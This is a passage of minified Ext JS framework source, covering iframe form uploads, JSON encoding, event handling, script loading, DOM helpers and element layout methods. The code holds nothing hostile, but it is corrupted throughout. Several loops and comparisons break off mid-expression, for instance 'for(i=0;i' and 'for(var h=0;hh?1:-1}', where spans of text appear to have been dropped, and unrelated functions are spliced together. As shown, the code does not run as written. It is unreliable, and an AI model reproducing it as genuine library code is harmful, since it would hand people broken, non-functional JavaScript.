l=Ext.id(),v=document,r=v.createElement("iframe"),m=Ext.getDom(q.form),u=[],t,p="multipart/form-data",n={target:m.target,method:m.method,encoding:m.encoding,enctype:m.enctype,action:m.action};Ext.fly(r).set({id:l,name:l,cls:"x-hidden",src:Ext.SSL_SECURE_URL});v.body.appendChild(r);if(Ext.isIE){document.frames[l].name=l}Ext.fly(m).set({target:l,method:i,enctype:p,encoding:p,action:k||n.action});Ext.iterate(Ext.urlDecode(j,false),function(w,o){t=v.createElement("input");Ext.fly(t).set({type:"hidden",value:o,name:w});m.appendChild(t);u.push(t)});function s(){var x=this,w={responseText:"",responseXML:null,argument:q.argument},A,z;try{A=r.contentWindow.document||r.contentDocument||g.frames[l].document;if(A){if(A.body){if(/textarea/i.test((z=A.body.firstChild||{}).tagName)){w.responseText=z.value}else{w.responseText=A.body.innerHTML}}w.responseXML=A.XMLDocument||A}}catch(y){}Ext.EventManager.removeListener(r,c,s,x);x.fireEvent(e,x,w,q);function o(D,C,B){if(Ext.isFunction(D)){D.apply(C,B)}}o(q.success,q.scope,[w,q]);o(q.callback,q.scope,[q,true,w]);if(!x.debugUploads){setTimeout(function(){Ext.removeNode(r)},100)}}Ext.EventManager.on(r,c,s,this);m.submit();Ext.fly(m).set(n);Ext.each(u,function(o){Ext.removeNode(o)})}})})();Ext.Ajax=new Ext.data.Connection({autoAbort:false,serializeForm:function(a){return Ext.lib.Ajax.serializeForm(a)}});Ext.util.JSON=new (function(){var useHasOwn=!!{}.hasOwnProperty,isNative=function(){var useNative=null;return function(){if(useNative===null){useNative=Ext.USE_NATIVE_JSON&&window.JSON&&JSON.toString()=="[object JSON]"}return useNative}}(),pad=function(n){return n<10?"0"+n:n},doDecode=function(json){return json?eval("("+json+")"):""},doEncode=function(o){if(!Ext.isDefined(o)||o===null){return"null"}else{if(Ext.isArray(o)){return encodeArray(o)}else{if(Ext.isDate(o)){return Ext.util.JSON.encodeDate(o)}else{if(Ext.isString(o)){return encodeString(o)}else{if(typeof o=="number"){return isFinite(o)?String(o):"null"}else{if(Ext.isBoolean(o)){return String(o)}else{var a=["{"],b,i,v;for(i in o){if(!o.getElementsByTagName){if(!useHasOwn||o.hasOwnProperty(i)){v=o[i];switch(typeof v){case"undefined":case"function":case"unknown":break;default:if(b){a.push(",")}a.push(doEncode(i),":",v===null?"null":doEncode(v));b=true}}}}a.push("}");return a.join("")}}}}}}},m={"\b":"\\b","\t":"\\t","\n":"\\n","\f":"\\f","\r":"\\r",'"':'\\"',"\\":"\\\\"},encodeString=function(s){if(/["\\\x00-\x1f]/.test(s)){return'"'+s.replace(/([\x00-\x1f\\"])/g,function(a,b){var c=m[b];if(c){return c}c=b.charCodeAt();return"\\u00"+Math.floor(c/16).toString(16)+(c%16).toString(16)})+'"'}return'"'+s+'"'},encodeArray=function(o){var a=["["],b,i,l=o.length,v;for(i=0;i
';e.body.appendChild(g);d=g.lastChild;if((c=e.defaultView)){if(c.getComputedStyle(g.firstChild.firstChild,null).marginRight!="0px"){b.correctRightMargin=false}if(c.getComputedStyle(d,null).backgroundColor!="transparent"){b.correctTransparentColor=false}}b.cssFloat=!!d.style.cssFloat;e.body.removeChild(g)};if(Ext.isReady){a()}else{Ext.onReady(a)}})();Ext.EventObject=function(){var b=Ext.lib.Event,c=/(dbl)?click/,a={3:13,63234:37,63235:39,63232:38,63233:40,63276:33,63277:34,63272:46,63273:36,63275:35},d=Ext.isIE?{1:0,4:1,2:2}:{0:0,1:1,2:2};Ext.EventObjectImpl=function(g){if(g){this.setEvent(g.browserEvent||g)}};Ext.EventObjectImpl.prototype={setEvent:function(h){var g=this;if(h==g||(h&&h.browserEvent)){return h}g.browserEvent=h;if(h){g.button=h.button?d[h.button]:(h.which?h.which-1:-1);if(c.test(h.type)&&g.button==-1){g.button=0}g.type=h.type;g.shiftKey=h.shiftKey;g.ctrlKey=h.ctrlKey||h.metaKey||false;g.altKey=h.altKey;g.keyCode=h.keyCode;g.charCode=h.charCode;g.target=b.getTarget(h);g.xy=b.getXY(h)}else{g.button=-1;g.shiftKey=false;g.ctrlKey=false;g.altKey=false;g.keyCode=0;g.charCode=0;g.target=null;g.xy=[0,0]}return g},stopEvent:function(){var e=this;if(e.browserEvent){if(e.browserEvent.type=="mousedown"){Ext.EventManager.stoppedMouseDownEvent.fire(e)}b.stopEvent(e.browserEvent)}},preventDefault:function(){if(this.browserEvent){b.preventDefault(this.browserEvent)}},stopPropagation:function(){var e=this;if(e.browserEvent){if(e.browserEvent.type=="mousedown"){Ext.EventManager.stoppedMouseDownEvent.fire(e)}b.stopPropagation(e.browserEvent)}},getCharCode:function(){return this.charCode||this.keyCode},getKey:function(){return this.normalizeKey(this.keyCode||this.charCode)},normalizeKey:function(e){return Ext.isSafari?(a[e]||e):e},getPageX:function(){return this.xy[0]},getPageY:function(){return this.xy[1]},getXY:function(){return this.xy},getTarget:function(g,h,e){return g?Ext.fly(this.target).findParent(g,h,e):(e?Ext.get(this.target):this.target)},getRelatedTarget:function(){return this.browserEvent?b.getRelatedTarget(this.browserEvent):null},getWheelDelta:function(){var g=this.browserEvent;var h=0;if(g.wheelDelta){h=g.wheelDelta/120}else{if(g.detail){h=-g.detail/3}}return h},within:function(h,i,e){if(h){var g=this[i?"getRelatedTarget":"getTarget"]();return g&&((e?(g==Ext.getDom(h)):false)||Ext.fly(h).contains(g))}return false}};return new Ext.EventObjectImpl()}();Ext.Loader=Ext.apply({},{load:function(j,i,k,c){var k=k||this,g=document.getElementsByTagName("head")[0],b=document.createDocumentFragment(),a=j.length,h=0,e=this;var l=function(m){g.appendChild(e.buildScriptTag(j[m],d))};var d=function(){h++;if(a==h&&typeof i=="function"){i.call(k)}else{if(c===true){l(h)}}};if(c===true){l.call(this,0)}else{Ext.each(j,function(n,m){b.appendChild(this.buildScriptTag(n,d))},this);g.appendChild(b)}},buildScriptTag:function(b,c){var a=document.createElement("script");a.type="text/javascript";a.src=b;if(a.readyState){a.onreadystatechange=function(){if(a.readyState=="loaded"||a.readyState=="complete"){a.onreadystatechange=null;c()}}}else{a.onload=c}return a}});Ext.ns("Ext.grid","Ext.list","Ext.dd","Ext.tree","Ext.form","Ext.menu","Ext.state","Ext.layout.boxOverflow","Ext.app","Ext.ux","Ext.chart","Ext.direct","Ext.slider");Ext.apply(Ext,function(){var c=Ext,a=0,b=null;return{emptyFn:function(){},BLANK_IMAGE_URL:Ext.isIE6||Ext.isIE7||Ext.isAir?"http://www.extjs.com/s.gif":"data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==",extendX:function(d,e){return Ext.extend(d,e(d.prototype))},getDoc:function(){return Ext.get(document)},num:function(e,d){e=Number(Ext.isEmpty(e)||Ext.isArray(e)||typeof e=="boolean"||(typeof e=="string"&&e.trim().length==0)?NaN:e);return isNaN(e)?d:e},value:function(g,d,e){return Ext.isEmpty(g,e)?d:g},escapeRe:function(d){return d.replace(/([-.*+?^${}()|[\]\/\\])/g,"\\$1")},sequence:function(h,d,g,e){h[d]=h[d].createSequence(g,e)},addBehaviors:function(i){if(!Ext.isReady){Ext.onReady(function(){Ext.addBehaviors(i)})}else{var e={},h,d,g;for(d in i){if((h=d.split("@"))[1]){g=h[0];if(!e[g]){e[g]=Ext.select(g)}e[g].on(h[1],i[d])}}e=null}},getScrollBarWidth:function(g){if(!Ext.isReady){return 0}if(g===true||b===null){var i=Ext.getBody().createChild('
'),h=i.child("div",true);var e=h.offsetWidth;i.setStyle("overflow",(Ext.isWebKit||Ext.isGecko)?"auto":"scroll");var d=h.offsetWidth;i.remove();b=e-d+2}return b},combine:function(){var g=arguments,e=g.length,j=[];for(var h=0;hh?1:-1};Ext.each(d,function(h){g=e(g,h)==1?g:h});return g},mean:function(d){return d.length>0?Ext.sum(d)/d.length:undefined},sum:function(d){var e=0;Ext.each(d,function(g){e+=g});return e},partition:function(d,e){var g=[[],[]];Ext.each(d,function(j,k,h){g[(e&&e(j,k,h))||(!e&&j)?0:1].push(j)});return g},invoke:function(d,e){var h=[],g=Array.prototype.slice.call(arguments,2);Ext.each(d,function(j,k){if(j&&typeof j[e]=="function"){h.push(j[e].apply(j,g))}else{h.push(undefined)}});return h},pluck:function(d,g){var e=[];Ext.each(d,function(h){e.push(h[g])});return e},zip:function(){var n=Ext.partition(arguments,function(i){return typeof i!="function"}),k=n[0],m=n[1][0],d=Ext.max(Ext.pluck(k,"length")),h=[];for(var l=0;l=a.left&&b.right<=a.right&&b.top>=a.top&&b.bottom<=a.bottom)},getArea:function(){var a=this;return((a.bottom-a.top)*(a.right-a.left))},intersect:function(h){var g=this,d=Math.max(g.top,h.top),e=Math.min(g.right,h.right),a=Math.min(g.bottom,h.bottom),c=Math.max(g.left,h.left);if(a>=d&&e>=c){return new Ext.lib.Region(d,e,a,c)}},union:function(h){var g=this,d=Math.min(g.top,h.top),e=Math.max(g.right,h.right),a=Math.max(g.bottom,h.bottom),c=Math.min(g.left,h.left);return new Ext.lib.Region(d,e,a,c)},constrainTo:function(b){var a=this;a.top=a.top.constrain(b.top,b.bottom);a.bottom=a.bottom.constrain(b.top,b.bottom);a.left=a.left.constrain(b.left,b.right);a.right=a.right.constrain(b.left,b.right);return a},adjust:function(d,c,a,g){var e=this;e.top+=d;e.left+=c;e.right+=g;e.bottom+=a;return e}};Ext.lib.Region.getRegion=function(e){var h=Ext.lib.Dom.getXY(e),d=h[1],g=h[0]+e.offsetWidth,a=h[1]+e.offsetHeight,c=h[0];return new Ext.lib.Region(d,g,a,c)};Ext.lib.Point=function(a,c){if(Ext.isArray(a)){c=a[1];a=a[0]}var b=this;b.x=b.right=b.left=b[0]=a;b.y=b.top=b.bottom=b[1]=c};Ext.lib.Point.prototype=new Ext.lib.Region();Ext.apply(Ext.DomHelper,function(){var e,a="afterbegin",h="afterend",i="beforebegin",d="beforeend",b=/tag|children|cn|html$/i;function g(m,p,n,q,l,j){m=Ext.getDom(m);var k;if(e.useDom){k=c(p,null);if(j){m.appendChild(k)}else{(l=="firstChild"?m:m.parentNode).insertBefore(k,m[l]||m)}}else{k=Ext.DomHelper.insertHtml(q,m,Ext.DomHelper.createHtml(p))}return n?Ext.get(k,true):k}function c(j,r){var k,u=document,p,s,m,t;if(Ext.isArray(j)){k=u.createDocumentFragment();for(var q=0,n=j.length;q0){return setTimeout(d,c)}d();return 0},createSequence:function(c,b,a){if(!Ext.isFunction(b)){return c}else{return function(){var d=c.apply(this||window,arguments);b.apply(a||this||window,arguments);return d}}}};Ext.defer=Ext.util.Functions.defer;Ext.createInterceptor=Ext.util.Functions.createInterceptor;Ext.createSequence=Ext.util.Functions.createSequence;Ext.createDelegate=Ext.util.Functions.createDelegate;Ext.apply(Ext.util.Observable.prototype,function(){function a(j){var i=(this.methodEvents=this.methodEvents||{})[j],d,c,g,h=this;if(!i){this.methodEvents[j]=i={};i.originalFn=this[j];i.methodName=j;i.before=[];i.after=[];var b=function(l,k,e){if((c=l.apply(k||h,e))!==undefined){if(typeof c=="object"){if(c.returnValue!==undefined){d=c.returnValue}else{d=c}g=!!c.cancel}else{if(c===false){g=true}else{d=c}}}};this[j]=function(){var l=Array.prototype.slice.call(arguments,0),k;d=c=undefined;g=false;for(var m=0,e=i.before.length;m=525:!((Ext.isGecko&&!Ext.isWindows)||Ext.isOpera);return{_unload:function(){Ext.EventManager.un(window,"resize",this.fireWindowResize,this);c.call(Ext.EventManager)},doResizeEvent:function(){var m=a.getViewHeight(),l=a.getViewWidth();if(h!=m||i!=l){d.fire(i=l,h=m)}},onWindowResize:function(n,m,l){if(!d){d=new Ext.util.Event();k=new Ext.util.DelayedTask(this.doResizeEvent);Ext.EventManager.on(window,"resize",this.fireWindowResize,this)}d.addListener(n,m,l)},fireWindowResize:function(){if(d){k.delay(100)}},onTextResize:function(o,n,l){if(!g){g=new Ext.util.Event();var m=new Ext.Element(document.createElement("div"));m.dom.className="x-text-resize";m.dom.innerHTML="X";m.appendTo(document.body);b=m.dom.offsetHeight;setInterval(function(){if(m.dom.offsetHeight!=b){g.fire(b,b=m.dom.offsetHeight)}},this.textResizeInterval)}g.addListener(o,n,l)},removeResizeListener:function(m,l){if(d){d.removeListener(m,l)}},fireResize:function(){if(d){d.fire(a.getViewWidth(),a.getViewHeight())}},textResizeInterval:50,ieDeferSrc:false,getKeyEvent:function(){return e?"keydown":"keypress"},useKeydown:e}}());Ext.EventManager.on=Ext.EventManager.addListener;Ext.apply(Ext.EventObjectImpl.prototype,{BACKSPACE:8,TAB:9,NUM_CENTER:12,ENTER:13,RETURN:13,SHIFT:16,CTRL:17,CONTROL:17,ALT:18,PAUSE:19,CAPS_LOCK:20,ESC:27,SPACE:32,PAGE_UP:33,PAGEUP:33,PAGE_DOWN:34,PAGEDOWN:34,END:35,HOME:36,LEFT:37,UP:38,RIGHT:39,DOWN:40,PRINT_SCREEN:44,INSERT:45,DELETE:46,ZERO:48,ONE:49,TWO:50,THREE:51,FOUR:52,FIVE:53,SIX:54,SEVEN:55,EIGHT:56,NINE:57,A:65,B:66,C:67,D:68,E:69,F:70,G:71,H:72,I:73,J:74,K:75,L:76,M:77,N:78,O:79,P:80,Q:81,R:82,S:83,T:84,U:85,V:86,W:87,X:88,Y:89,Z:90,CONTEXT_MENU:93,NUM_ZERO:96,NUM_ONE:97,NUM_TWO:98,NUM_THREE:99,NUM_FOUR:100,NUM_FIVE:101,NUM_SIX:102,NUM_SEVEN:103,NUM_EIGHT:104,NUM_NINE:105,NUM_MULTIPLY:106,NUM_PLUS:107,NUM_MINUS:109,NUM_PERIOD:110,NUM_DIVISION:111,F1:112,F2:113,F3:114,F4:115,F5:116,F6:117,F7:118,F8:119,F9:120,F10:121,F11:122,F12:123,isNavKeyPress:function(){var b=this,a=this.normalizeKey(b.keyCode);return(a>=33&&a<=40)||a==b.RETURN||a==b.TAB||a==b.ESC},isSpecialKey:function(){var a=this.normalizeKey(this.keyCode);return(this.type=="keypress"&&this.ctrlKey)||this.isNavKeyPress()||(a==this.BACKSPACE)||(a>=16&&a<=20)||(a>=44&&a<=46)},getPoint:function(){return new Ext.lib.Point(this.xy[0],this.xy[1])},hasModifier:function(){return((this.ctrlKey||this.altKey)||this.shiftKey)}});Ext.Element.addMethods({swallowEvent:function(a,b){var d=this;function c(g){g.stopPropagation();if(b){g.preventDefault()}}if(Ext.isArray(a)){Ext.each(a,function(g){d.on(g,c)});return d}d.on(a,c);return d},relayEvent:function(a,b){this.on(a,function(c){b.fireEvent(a,c)})},clean:function(b){var d=this,e=d.dom,g=e.firstChild,c=-1;if(Ext.Element.data(e,"isCleaned")&&b!==true){return d}while(g){var a=g.nextSibling;if(g.nodeType==3&&!(/\S/.test(g.nodeValue))){e.removeChild(g)}else{g.nodeIndex=++c}g=a}Ext.Element.data(e,"isCleaned",true);return d},load:function(){var a=this.getUpdater();a.update.apply(a,arguments);return this},getUpdater:function(){return this.updateManager||(this.updateManager=new Ext.Updater(this))},update:function(html,loadScripts,callback){if(!this.dom){return this}html=html||"";if(loadScripts!==true){this.dom.innerHTML=html;if(typeof callback=="function"){callback()}return this}var id=Ext.id(),dom=this.dom;html+='';Ext.lib.Event.onAvailable(id,function(){var DOC=document,hd=DOC.getElementsByTagName("head")[0],re=/(?:]*)?>)((\n|\r|.)*?)(?:<\/script>)/ig,srcRe=/\ssrc=([\'\"])(.*?)\1/i,typeRe=/\stype=([\'\"])(.*?)\1/i,match,attrs,srcMatch,typeMatch,el,s;while((match=re.exec(html))){attrs=match[1];srcMatch=attrs?attrs.match(srcRe):false;if(srcMatch&&srcMatch[2]){s=DOC.createElement("script");s.src=srcMatch[2];typeMatch=attrs.match(typeRe);if(typeMatch&&typeMatch[2]){s.type=typeMatch[2]}hd.appendChild(s)}else{if(match[2]&&match[2].length>0){if(window.execScript){window.execScript(match[2])}else{window.eval(match[2])}}}}el=DOC.getElementById(id);if(el){Ext.removeNode(el)}if(typeof callback=="function"){callback()}});dom.innerHTML=html.replace(/(?:)((\n|\r|.)*?)(?:<\/script>)/ig,"");return this},removeAllListeners:function(){this.removeAnchor();Ext.EventManager.removeAll(this.dom);return this},createProxy:function(a,e,d){a=(typeof a=="object")?a:{tag:"div",cls:a};var c=this,b=e?Ext.DomHelper.append(e,a,true):Ext.DomHelper.insertBefore(c.dom,a,true);if(d&&c.setBox&&c.getBox){b.setBox(c.getBox())}return b}});Ext.Element.prototype.getUpdateManager=Ext.Element.prototype.getUpdater;Ext.Element.addMethods({getAnchorXY:function(e,l,q){e=(e||"tl").toLowerCase();q=q||{};var k=this,b=k.dom==document.body||k.dom==document,n=q.width||b?Ext.lib.Dom.getViewWidth():k.getWidth(),i=q.height||b?Ext.lib.Dom.getViewHeight():k.getHeight(),p,a=Math.round,c=k.getXY(),m=k.getScroll(),j=b?m.left:!l?c[0]:0,g=b?m.top:!l?c[1]:0,d={c:[a(n*0.5),a(i*0.5)],t:[a(n*0.5),0],l:[0,a(i*0.5)],r:[n,a(i*0.5)],b:[a(n*0.5),i],tl:[0,0],bl:[0,i],br:[n,i],tr:[n,0]};p=d[e];return[p[0]+j,p[1]+g]},anchorTo:function(b,h,c,a,k,l){var i=this,e=i.dom,j=!Ext.isEmpty(k),d=function(){Ext.fly(e).alignTo(b,h,c,a);Ext.callback(l,Ext.fly(e))},g=this.getAnchor();this.removeAnchor();Ext.apply(g,{fn:d,scroll:j});Ext.EventManager.onWindowResize(d,null);if(j){Ext.EventManager.on(window,"scroll",d,null,{buffer:!isNaN(k)?k:50})}d.call(i);return i},removeAnchor:function(){var b=this,a=this.getAnchor();if(a&&a.fn){Ext.EventManager.removeResizeListener(a.fn);if(a.scroll){Ext.EventManager.un(window,"scroll",a.fn)}delete a.fn}return b},getAnchor:function(){var b=Ext.Element.data,c=this.dom;if(!c){return}var a=b(c,"_anchor");if(!a){a=b(c,"_anchor",{})}return a},getAlignToXY:function(g,A,B){g=Ext.get(g);if(!g||!g.dom){throw"Element.alignToXY with an element that doesn't exist"}B=B||[0,0];A=(!A||A=="?"?"tl-bl?":(!(/-/).test(A)&&A!==""?"tl-"+A:A||"tl-bl")).toLowerCase();var K=this,H=K.dom,M,L,n,l,s,F,v,t=Ext.lib.Dom.getViewWidth()-10,G=Ext.lib.Dom.getViewHeight()-10,b,i,j,k,u,z,N=document,J=N.documentElement,q=N.body,E=(J.scrollLeft||q.scrollLeft||0)+5,D=(J.scrollTop||q.scrollTop||0)+5,I=false,e="",a="",C=A.match(/^([a-z]+)-([a-z]+)(\?)?$/);if(!C){throw"Element.alignTo with an invalid alignment "+A}e=C[1];a=C[2];I=!!C[3];M=K.getAnchorXY(e,true);L=g.getAnchorXY(a,false);n=L[0]-M[0]+B[0];l=L[1]-M[1]+B[1];if(I){s=K.getWidth();F=K.getHeight();v=g.getRegion();b=e.charAt(0);i=e.charAt(e.length-1);j=a.charAt(0);k=a.charAt(a.length-1);u=((b=="t"&&j=="b")||(b=="b"&&j=="t"));z=((i=="r"&&k=="l")||(i=="l"&&k=="r"));if(n+s>t+E){n=z?v.left-s:t+E-s}if(nG+D){l=u?v.top-F:G+D-F}if(lB){p=B-q;m=true}if((o+C)>g){o=g-C;m=true}if(p"+String.format(Ext.Element.boxMarkup,c)+"
"));Ext.DomQuery.selectNode("."+c+"-mc",d.dom).appendChild(this.dom);return d},setSize:function(e,c,d){var g=this;if(typeof e=="object"){c=e.height;e=e.width}e=g.adjustWidth(e);c=g.adjustHeight(c);if(!d||!g.anim){g.dom.style.width=g.addUnits(e);g.dom.style.height=g.addUnits(c)}else{g.anim({width:{to:e},height:{to:c}},g.preanim(arguments,2))}return g},getComputedHeight:function(){var d=this,c=Math.max(d.dom.offsetHeight,d.dom.clientHeight);if(!c){c=parseFloat(d.getStyle("height"))||0;if(!d.isBorderBox()){c+=d.getFrameWidth("tb")}}return c},getComputedWidth:function(){var c=Math.max(this.dom.offsetWidth,this.dom.clientWidth);if(!c){c=parseFloat(this.getStyle("width"))||0;if(!this.isBorderBox()){c+=this.getFrameWidth("lr")}}return c},getFrameWidth:function(d,c){return c&&this.isBorderBox()?0:(this.getPadding(d)+this.getBorderWidth(d))},addClassOnOver:function(c){this.hover(function(){Ext.fly(this,a).addClass(c)},function(){Ext.fly(this,a).removeClass(c)});return this},addClassOnFocus:function(c){this.on("focus",function(){Ext.fly(this,a).addClass(c)},this.dom);this.on("blur",function(){Ext.fly(this,a).removeClass(c)},this.dom);return this},addClassOnClick:function(c){var d=this.dom;this.on("mousedown",function(){Ext.fly(d,a).addClass(c);var g=Ext.getDoc(),e=function(){Ext.fly(d,a).removeClass(c);g.removeListener("mouseup",e)};g.on("mouseup",e)});return this},getViewSize:function(){var g=document,h=this.dom,c=(h==g||h==g.body);if(c){var e=Ext.lib.Dom;return{width:e.getViewWidth(),height:e.getViewHeight()}}else{return{width:h.clientWidth,height:h.clientHeight}}},getStyleSize:function(){var j=this,c,i,l=document,m=this.dom,e=(m==l||m==l.body),g=m.style;if(e){var k=Ext.lib.Dom;return{width:k.getViewWidth(),height:k.getViewHeight()}}if(g.width&&g.width!="auto"){c=parseFloat(g.width);if(j.isBorderBox()){c-=j.getFrameWidth("lr")}}if(g.height&&g.height!="auto"){i=parseFloat(g.height);if(j.isBorderBox()){i-=j.getFrameWidth("tb")}}return{width:c||j.getWidth(true),height:i||j.getHeight(true)}},getSize:function(c){return{width:this.getWidth(c),height:this.getHeight(c)}},repaint:function(){var c=this.dom;this.addClass("x-repaint");setTimeout(function(){Ext.fly(c).removeClass("x-repaint")},1);return this},unselectable:function(){this.dom.unselectable="on";return this.swallowEvent("selectstart",true).applyStyles("-moz-user-select:none;-khtml-user-select:none;").addClass("x-unselectable")},getMargins:function(d){var e=this,c,g={t:"top",l:"left",r:"right",b:"bottom"},h={};if(!d){for(c in e.margins){h[g[c]]=parseFloat(e.getStyle(e.margins[c]))||0}return h}else{return e.addStyles.call(e,d,e.margins)}}}}());Ext.Element.addMethods({setBox:function(e,g,b){var d=this,a=e.width,c=e.height;if((g&&!d.autoBoxAdjust)&&!d.isBorderBox()){a-=(d.getBorderWidth("lr")+d.getPadding("lr"));c-=(d.getBorderWidth("tb")+d.getPadding("tb"))}d.setBounds(e.x,e.y,a,c,d.animTest.call(d,arguments,b,2));return d},getBox:function(j,p){var m=this,v,e,o,d=m.getBorderWidth,q=m.getPadding,g,a,u,n;if(!p){v=m.getXY()}else{e=parseInt(m.getStyle("left"),10)||0;o=parseInt(m.getStyle("top"),10)||0;v=[e,o]}var c=m.dom,s=c.offsetWidth,i=c.offsetHeight,k;if(!j){k={x:v[0],y:v[1],0:v[0],1:v[1],width:s,height:i}}else{g=d.call(m,"l")+q.call(m,"l");a=d.call(m,"r")+q.call(m,"r");u=d.call(m,"t")+q.call(m,"t");n=d.call(m,"b")+q.call(m,"b");k={x:v[0]+g,y:v[1]+u,0:v[0]+g,1:v[1]+u,width:s-(g+a),height:i-(u+n)}}k.right=k.x+k.width;k.bottom=k.y+k.height;return k},move:function(j,b,c){var g=this,m=g.getXY(),k=m[0],i=m[1],d=[k-b,i],l=[k+b,i],h=[k,i-b],a=[k,i+b],e={l:d,left:d,r:l,right:l,t:h,top:h,up:h,b:a,bottom:a,down:a};j=j.toLowerCase();g.moveTo(e[j][0],e[j][1],g.animTest.call(g,arguments,c,2))},setLeftTop:function(d,c){var b=this,a=b.dom.style;a.left=b.addUnits(d);a.top=b.addUnits(c);return b},getRegion:function(){return Ext.lib.Dom.getRegion(this.dom)},setBounds:function(b,g,d,a,c){var e=this;if(!c||!e.anim){e.setSize(d,a);e.setLocation(b,g)}else{e.anim({points:{to:[b,g]},width:{to:e.adjustWidth(d)},height:{to:e.adjustHeight(a)}},e.preanim(arguments,4),"motion")}return e},setRegion:function(b,a){return this.setBounds(b.left,b.top,b.right-b.left,b.bottom-b.top,this.animTest.call(this,arguments,a,1))}});Ext.Element.addMethods({scrollTo:function(b,d,a){var e=/top/i.test(b),c=this,g=c.dom,h;if(!a||!c.anim){h="scroll"+(e?"Top":"Left");g[h]=d}else{h="scroll"+(e?"Left":"Top");c.anim({scroll:{to:e?[g[h],d]:[d,g[h]]}},c.preanim(arguments,2),"scroll")}return c},scrollIntoView:function(e,i){var p=Ext.getDom(e)||Ext.getBody().dom,h=this.dom,g=this.getOffsetsTo(p),k=g[0]+p.scrollLeft,u=g[1]+p.scrollTop,q=u+h.offsetHeight,d=k+h.offsetWidth,a=p.clientHeight,m=parseInt(p.scrollTop,10),s=parseInt(p.scrollLeft,10),j=m+a,n=s+p.clientWidth;if(h.offsetHeight>a||uj){p.scrollTop=q-a}}p.scrollTop=p.scrollTop;if(i!==false){if(h.offsetWidth>p.clientWidth||kn){p.scrollLeft=d-p.clientWidth}}p.scrollLeft=p.scrollLeft}return this},scrollChildIntoView:function(b,a){Ext.fly(b,"_scrollChildIntoView").scrollIntoView(this,a)},scroll:function(m,b,d){if(!this.isScrollable()){return false}var e=this.dom,g=e.scrollLeft,p=e.scrollTop,n=e.scrollWidth,k=e.scrollHeight,i=e.clientWidth,a=e.clientHeight,c=false,o,j={l:Math.min(g+b,n-i),r:o=Math.max(g-b,0),t:Math.max(p-b,0),b:Math.min(p+b,k-a)};j.d=j.b;j.u=j.t;m=m.substr(0,1);if((o=j[m])>-1){c=true;this.scrollTo(m=="l"||m=="r"?"left":"top",o,this.preanim(arguments,2))}return c}});Ext.Element.addMethods(function(){var d="visibility",b="display",a="hidden",h="none",c="x-masked",g="x-masked-relative",e=Ext.Element.data;return{isVisible:function(i){var j=!this.isStyle(d,a)&&!this.isStyle(b,h),k=this.dom.parentNode;if(i!==true||!j){return j}while(k&&!(/^body/i.test(k.tagName))){if(!Ext.fly(k,"_isVisible").isVisible()){return false}k=k.parentNode}return true},isDisplayed:function(){return !this.isStyle(b,h)},enableDisplayMode:function(i){this.setVisibilityMode(Ext.Element.DISPLAY);if(!Ext.isEmpty(i)){e(this.dom,"originalDisplay",i)}return this},mask:function(j,n){var p=this,l=p.dom,o=Ext.DomHelper,m="ext-el-mask-msg",i,q;if(!/^body/i.test(l.tagName)&&p.getStyle("position")=="static"){p.addClass(g)}if(i=e(l,"maskMsg")){i.remove()}if(i=e(l,"mask")){i.remove()}q=o.append(l,{cls:"ext-el-mask"},true);e(l,"mask",q);p.addClass(c);q.setDisplayed(true);if(typeof j=="string"){var k=o.append(l,{cls:m,cn:{tag:"div"}},true);e(l,"maskMsg",k);k.dom.className=n?m+" "+n:m;k.dom.firstChild.innerHTML=j;k.setDisplayed(true);k.center(p)}if(Ext.isIE&&!(Ext.isIE7&&Ext.isStrict)&&p.getStyle("height")=="auto"){q.setSize(undefined,p.getHeight())}return q},unmask:function(){var k=this,l=k.dom,i=e(l,"mask"),j=e(l,"maskMsg");if(i){if(j){j.remove();e(l,"maskMsg",undefined)}i.remove();e(l,"mask",undefined);k.removeClass([c,g])}},isMasked:function(){var i=e(this.dom,"mask");return i&&i.isVisible()},createShim:function(){var i=document.createElement("iframe"),j;i.frameBorder="0";i.className="ext-shim";i.src=Ext.SSL_SECURE_URL;j=Ext.get(this.dom.parentNode.insertBefore(i,this.dom));j.autoBoxAdjust=false;return j}}}());Ext.Element.addMethods({addKeyListener:function(b,d,c){var a;if(typeof b!="object"||Ext.isArray(b)){a={key:b,fn:d,scope:c}}else{a={key:b.key,shift:b.shift,ctrl:b.ctrl,alt:b.alt,fn:d,scope:c}}return new Ext.KeyMap(this,a)},addKeyMap:function(a){return new Ext.KeyMap(this,a)}});Ext.CompositeElementLite.importElementMethods();Ext.apply(Ext.CompositeElementLite.prototype,{addElements:function(c,a){if(!c){return this}if(typeof c=="string"){c=Ext.Element.selectorFunction(c,a)}var b=this.elements;Ext.each(c,function(d){b.push(Ext.get(d))});return this},first:function(){return this.item(0)},last:function(){return this.item(this.getCount()-1)},contains:function(a){return this.indexOf(a)!=-1},removeElement:function(d,e){var c=this,a=this.elements,b;Ext.each(d,function(g){if((b=(a[g]||a[g=c.indexOf(g)]))){if(e){if(b.dom){b.remove()}else{Ext.removeNode(b)}}a.splice(g,1)}});return this}});Ext.CompositeElement=Ext.extend(Ext.CompositeElementLite,{constructor:function(b,a){this.elements=[];this.add(b,a)},getElement:function(a){return a},transformElement:function(a){return Ext.get(a)}});Ext.Element.select=function(a,d,b){var c;if(typeof a=="string"){c=Ext.Element.selectorFunction(a,b)}else{if(a.length!==undefined){c=a}else{throw"Invalid selector"}}return(d===true)?new Ext.CompositeElement(c):new Ext.CompositeElementLite(c)};Ext.select=Ext.Element.select;Ext.UpdateManager=Ext.Updater=Ext.extend(Ext.util.Observable,function(){var b="beforeupdate",d="update",c="failure";function a(h){var i=this;i.transaction=null;if(h.argument.form&&h.argument.reset){try{h.argument.form.reset()}catch(j){}}if(i.loadScripts){i.renderer.render(i.el,h,i,g.createDelegate(i,[h]))}else{i.renderer.render(i.el,h,i);g.call(i,h)}}function g(h,i,j){this.fireEvent(i||d,this.el,h);if(Ext.isFunction(h.argument.callback)){h.argument.callback.call(h.argument.scope,this.el,Ext.isEmpty(j)?true:false,h,h.argument.options)}}function e(h){g.call(this,h,c,!!(this.transaction=null))}return{constructor:function(i,h){var j=this;i=Ext.get(i);if(!h&&i.updateManager){return i.updateManager}j.el=i;j.defaultUrl=null;j.addEvents(b,d,c);Ext.apply(j,Ext.Updater.defaults);j.transaction=null;j.refreshDelegate=j.refresh.createDelegate(j);j.updateDelegate=j.update.createDelegate(j);j.formUpdateDelegate=(j.formUpdate||function(){}).createDelegate(j);j.renderer=j.renderer||j.getDefaultRenderer();Ext.Updater.superclass.constructor.call(j)},setRenderer:function(h){this.renderer=h},getRenderer:function(){return this.renderer},getDefaultRenderer:function(){return new 